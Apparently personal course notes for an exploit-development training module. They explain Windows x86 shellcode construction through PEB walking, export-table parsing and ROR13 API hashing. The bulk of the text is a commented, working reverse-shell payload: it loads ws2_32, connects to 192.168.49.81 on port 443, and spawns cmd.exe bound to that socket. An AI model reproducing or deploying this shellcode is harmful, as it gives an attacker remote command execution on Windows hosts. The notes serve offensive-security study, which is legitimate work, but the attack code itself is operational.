EXP-301 Module 0x07 Notes

// Some codeHeavily refrences the shellcode nullFreePIC_reverse_shell_final_example.py
   PEB 
        0:002> dt nt!_PEB 0x7f60b000 
        ntdll!_PEB 
        +0x000 InheritedAddressSpace : 0 '' 
        +0x001 ReadImageFileExecOptions : 0 '' 
        ...
        +0x00c Ldr              : 0x776c9aa0 _PEB_LDR_DATA 


    Ldr Data Table 

         0:002> dt _PEB_LDR_DATA 0x776c9aa0 
        ntdll!_PEB_LDR_DATA 
        +0x000 Length           : 0x30 
        ...
        +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x4011728 - 0x40180d0 ]   
        +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x4011730 - 0x40180d8 ]   
        +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x4011658 - 0x40180e0 ] 
        ...

    InInitializationOrderModuleList - 0x10 -> _LDR_DATA_TABLE_ENTRY

        0:002> dt _LDR_DATA_TABLE_ENTRY (0x04011658 - 0x10) 
        ntdll!_LDR_DATA_TABLE_ENTRY 
        +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4011ab0 - 0x4011728 ]
        ...
        +0x018 DllBase          : 0x775c0000 Void 
        ...
        +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll" 
        +0x02c BaseDllName      : _UNICODE_STRING "ntdll.dll" #_UNICODE_STRING has member buffer which starts at offset 0x04 so dllname is actually at 0x30
        ...

   
    " find_kernel32:                     "  #
    "   xor   ecx, ecx                  ;"  #   ECX = 0
    "   mov   esi,fs:[ecx+0x30]         ;"  #   ESI = &(PEB) ([FS:0x30])
    "   mov   esi,[esi+0x0C]            ;"  #   ESI = PEB->Ldr
    "   mov   esi,[esi+0x1C]            ;"  #   ESI = PEB->Ldr.InInitOrder

    " next_module:                       "  #
    "   mov   ebx, [esi+0x08]           ;"  #   EBX = InInitOrder[X].base_address (keep in mind the _LDR_DATA_TABLE_ENTRY starts at - 0x10 from the InInitOrder struct)
    "   mov   edi, [esi+0x20]           ;"  #   EDI = InInitOrder[X].module_name
    "   mov   esi, [esi]                ;"  #   ESI = InInitOrder[X].flink (next)
    "   cmp   [edi+12*2], cx            ;"  #   (unicode) modulename[12] == 0x00 ?
    "   jne   next_module               ;"  #   No: try next module.

Export Directory Table
    AddressOfNames          AddressOfNamesOrindals          AddressOfFunctions           
    1   VirtualAlloc        1   i=5                         5   0xaabbccdd
    2   WriteProcessMemory  2   i=6                         6   0xaabbddee
    3   ...                 3   ...                         7   ...


PE Header Offsets:
    Base of DLL
    0x3c - PE Signature
    0x78 - Export Table Offset
        0x18 - number of names
        0x20 - Address of Names Array offset


    " find_function:                     "  #
        "   pushad                          ;"  #   Save all registers
                                                #   Base address of kernel32 is in EBX from 
                                                #   Previous step (find_kernel32)
        "   mov   eax, [ebx+0x3c]           ;"  #   Offset to PE Signature
        "   mov   edi, [ebx+eax+0x78]       ;"  #   Export Table Directory RVA
        "   add   edi, ebx                  ;"  #   Export Table Directory VMA
        "   mov   ecx, [edi+0x18]           ;"  #   NumberOfNames
        "   mov   eax, [edi+0x20]           ;"  #   AddressOfNames RVA
        "   add   eax, ebx                  ;"  #   AddressOfNames VMA
        "   mov   [ebp-4], eax              ;"  #   Save AddressOfNames VMA for later

        " find_function_loop:                "  #
        "   jecxz find_function_finished    ;"  #   Jump to the end if ECX is 0
        "   dec   ecx                       ;"  #   Decrement our names counter
        "   mov   eax, [ebp-4]              ;"  #   Restore AddressOfNames VMA
        "   mov   esi, [eax+ecx*4]          ;"  #   Get the RVA of the symbol name
        "   add   esi, ebx                  ;"  #   Set ESI to the VMA of the current symbol name

Hashing Function:
        " compute_hash:                      "  #
        "   xor   eax, eax                  ;"  #   NULL EAX
        "   cdq                             ;"  #   NULL EDX
        "   cld                             ;"  #   Clear direction

        " compute_hash_again:                "  #
        "   lodsb                           ;"  #   Load the next byte from esi into al
        "   test  al, al                    ;"  #   Check for NULL terminator
        "   jz    compute_hash_finished     ;"  #   If the ZF is set,we've hit the NULL term
        "   ror   edx, 0x0d                 ;"  #   Rotate edx 13 bits to the right
        "   add   edx, eax                  ;"  #   Add the new byte to the accumulator
        "   jmp   compute_hash_again        ;"  #   Next iteration

        " compute_hash_finished:             "  #

Loop through and check if we have found the function were looking for:

    " find_function_compare:             "  #
    "   cmp   edx, [esp+0x24]           ;"  #   Compare the computed hash with the requested hash
    "   jnz   find_function_loop        ;"  #   If it doesn't match go back to find_function_loop
    "   mov   edx, [edi+0x24]           ;"  #   AddressOfNameOrdinals RVA
    "   add   edx, ebx                  ;"  #   AddressOfNameOrdinals VMA
    "   mov   cx,  [edx+2*ecx]          ;"  #   Extrapolate the function's ordinal
    "   mov   edx, [edi+0x1c]           ;"  #   AddressOfFunctions RVA
    "   add   edx, ebx                  ;"  #   AddressOfFunctions VMA
    "   mov   eax, [edx+4*ecx]          ;"  #   Get the function RVA
    "   add   eax, ebx                  ;"  #   Get the function VMA
    "   mov   [esp+0x1c], eax           ;"  #   Overwrite stack version of eax from pushad

    " find_function_finished:            "  #
    "   popad                           ;"  #   Restore registers
    "   ret                             ;"  #

Find our KERNEL32 functions and store them on the stack:
    " resolve_symbols_kernel32:	        "# Find TerminateProces
    "   push  0x78b5b983                ;"  #   TerminateProcess hash
    "   call  dword ptr [ebp + 0x04]    ;"  # Call find_function
    "   mov [ebp + 0x10], eax		;"#
    
    
    "   push 0xec0e4e8e                 ;" # Find LoadLibraryA
    "   call dword ptr [ebp + 0x04]     ;" # Call find_function
    "   mov [ebp + 0x14], eax           ;"

    "   push 0x16b3fe72                 ;" # Find CreateProocessA
    "   call dword ptr [ebp + 0x04]      ;" # Call find_function
    "   mov [ebp + 0x18], eax           ;"

Load ws2_32:
      " load_ws2_32:                       "
    "   xor eax, eax                    ;"
    "   mov ax, 0x6c6c                  ;"
    "   push eax                        ;"#push null terminated portion of string
    "   push 0x642e3233                 ;"
    "   push 0x5f327377                 ;"
    "   push esp                        ;" #push pointer to the string
    "   call dword ptr [ebp +0x14]      ;" # Call LoadLibraryA

Load the ws2_32 functions:
      " resolve_symbols_ws2_32:            "
    "   mov   ebx, eax                  ;"  #   Move the base address of ws2_32.dll to EBX
    "   push  0x3bfcedcb                ;"  #   WSAStartup hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x1C], eax           ;"  #   Save WSAStartup address for later usage
    "   push  0xadf509d9                ;"  #   WSASocketA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x20], eax           ;"  #   Save WSASocketA address for later usage
    "   push  0xb32dba0c                ;"  #   WSAConnect hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x24], eax           ;"  #   Save WSAConnect address for later usage


Call all our functions and make our shell:
    " call_wsastartup:                   "
    "   mov eax, esp                    ;"
    "   mov cx, 0x590                   ;"
    "   sub eax, ecx                    ;" # creating arbitrary space for future WSADATA struct
    "   push eax                        ;" #save ptr to struct
    "   xor eax, eax                    ;"
    "   mov ax, 0x0202                  ;" #save version 2.2 for call to stack
    "   push eax                        ;"
    "   int3                            ;"
    "   call dword ptr [ebp + 0x1C]     ;" #call WSAStartup

    " call_wsasocketa:                   "  # 
    "   xor   eax, eax                  ;"  #   Null EAX 
    "   push  eax                       ;"  #   Push dwFlags 
    "   push  eax                       ;"  #   Push g 
    "   push  eax                       ;"  #   Push lpProtocolInfo 
    "   mov   al, 0x06                  ;"  #   Move AL, IPPROTO_TCP 
    "   push  eax                       ;"  #   Push protocol 
    "   sub   al, 0x05                  ;"  #   Substract 0x05 from AL, AL = 0x01 
    "   push  eax                       ;"  #   Push type 
    "   inc   eax                       ;"  #   Increase EAX, EAX = 0x02 
    "   push  eax                       ;"  #   Push af 
    "   call dword ptr [ebp+0x20]       ;"  #   Call WSASocketA 
    
       " call_wsaconnect:                   "  # 
    "int3;"
    "   mov   esi, eax                  ;"  #   Move the SOCKET descriptor to ESI
    "   xor   eax, eax                  ;"  #   Null EAX 
    "   push  eax                       ;"  #   Push sin_zero[] 
    "   push  eax                       ;"  #   Push sin_zero[] 
    "   push  0x5131a8c0                ;"  #   Push sin_addr (192.168.49.81) 
    "   mov   ax, 0xbb01                ;"  #   Move the sin_port (443) to AX 
    "   shl   eax, 0x10                 ;"  #   Left shift EAX by 0x10 bytes 
    "   add   ax, 0x02                  ;"  #   Add 0x02 (AF_INET) to AX 
    "   push  eax                       ;"  #   Push sin_port & sin_family 
    "   push  esp                       ;"  #   Push pointer to the sockaddr_in structure 
    "   pop   edi                       ;"  #   Store pointer to sockaddr_in in EDI 
    "   xor   eax, eax                  ;"  #   Null EAX 
    "   push  eax                       ;"  #   Push lpGQOS 
    "   push  eax                       ;"  #   Push lpSQOS 
    "   push  eax                       ;"  #   Push lpCalleeData 
    "   push  eax                       ;"  #   Push lpCalleeData 
    "   add   al, 0x10                  ;"  #   Set AL to 0x10 
    "   push  eax                       ;"  #   Push namelen 
    "   push  edi                       ;"  #   Push *name 
    "   push  esi                       ;"  #   Push s 
    "   call dword ptr [ebp+0x24]       ;"  #   Call WSASocketA 

    
     " create_startupinfoa:               "  # 
    "   push  esi                       ;"  #   Push hStdError 
    "   push  esi                       ;"  #   Push hStdOutput 
    "   push  esi                       ;"  #   Push hStdInput 
    "   xor   eax, eax                  ;"  #   Null EAX    
    "   push  eax                       ;"  #   Push lpReserved2 
    "   push  eax                       ;"  #   Push cbReserved2 & wShowWindow 
    "   mov   al, 0x80                  ;"  #   Move 0x80 to AL 
    "   xor   ecx, ecx                  ;"  #   Null ECX 
    "   mov   cx, 0x80                  ;"  #   Move 0x80 to CX 
    "   add   eax, ecx                  ;"  #   Set EAX to 0x100 
    "   push  eax                       ;"  #   Push dwFlags 
    "   xor   eax, eax                  ;"  #   Null EAX    
    "   push  eax                       ;"  #   Push dwFillAttribute 
    "   push  eax                       ;"  #   Push dwYCountChars 
    "   push  eax                       ;"  #   Push dwXCountChars 
    "   push  eax                       ;"  #   Push dwYSize 
    "   push  eax                       ;"  #   Push dwXSize 
    "   push  eax                       ;"  #   Push dwY 
    "   push  eax                       ;"  #   Push dwX 
    "   push  eax                       ;"  #   Push lpTitle 
    "   push  eax                       ;"  #   Push lpDesktop 
    "   push  eax                       ;"  #   Push lpReserved 
    "   mov   al, 0x44                  ;"  #   Move 0x44 to AL 
    "   push  eax                       ;"  #   Push cb 
    "   push  esp                       ;"  #   Push pointer to the STARTUPINFOA structure 
    "   pop   edi                       ;"  #   Store pointer to STARTUPINFOA in EDI 
    
     " create_cmd_string:                 "  # 
    "   mov   eax, 0xff9a879b           ;"  #   Move 0xff9a879b into EAX 
    "   neg   eax                       ;"  #   Negate EAX, EAX = 00657865 
    "   push  eax                       ;"  #   Push part of the "cmd.exe" string 
    "   push  0x2e646d63                ;"  #   Push the remainder of the "cmd.exe" string 
    "   push  esp                       ;"  #   Push pointer to the "cmd.exe" string 
    "   pop   ebx                       ;"  #   Store pointer to the "cmd.exe" string in EBX 
    
     " call_createprocessa:               "  # 
    "   mov   eax, esp                  ;"  #   Move ESP to EAX 
    "   xor   ecx, ecx                  ;"  #   Null ECX 
    "   mov   cx, 0x390                 ;"  #   Move 0x390 to CX 
    "   sub   eax, ecx                  ;"  #   Substract CX from EAX to avoid overwriting the structure later 
    "   push  eax                       ;"  #   Push lpProcessInformation 
    "   push  edi                       ;"  #   Push lpStartupInfo 
    "   xor   eax, eax                  ;"  #   Null EAX    
    "   push  eax                       ;"  #   Push lpCurrentDirectory 
    "   push  eax                       ;"  #   Push lpEnvironment 
    "   push  eax                       ;"  #   Push dwCreationFlags 
    "   inc   eax                       ;"  #   Increase EAX, EAX = 0x01 (TRUE) 
    "   push  eax                       ;"  #   Push bInheritHandles 
    "   dec   eax                       ;"  #   Null EAX 
    "   push  eax                       ;"  #   Push lpThreadAttributes 
    "   push  eax                       ;"  #   Push lpProcessAttributes 
    "   push  ebx                       ;"  #   Push lpCommandLine 
    "   push  eax                       ;"  #   Push lpApplicationName 
    "   call dword ptr [ebp+0x18]       ;"  #   Call CreateProcessA 

Exit:

    "   int3                            ;"
    "	xor   ecx, ecx                  ;"  #   NULL ECX
    "   push  ecx                       ;"  #   uExitCode
    "   push  0xffffffff                ;"  #   hProcess
    "   call  dword ptr [ebp + 0x10]                       ;"  #   Call TerminateProcess
    

Last updated

Was this helpful?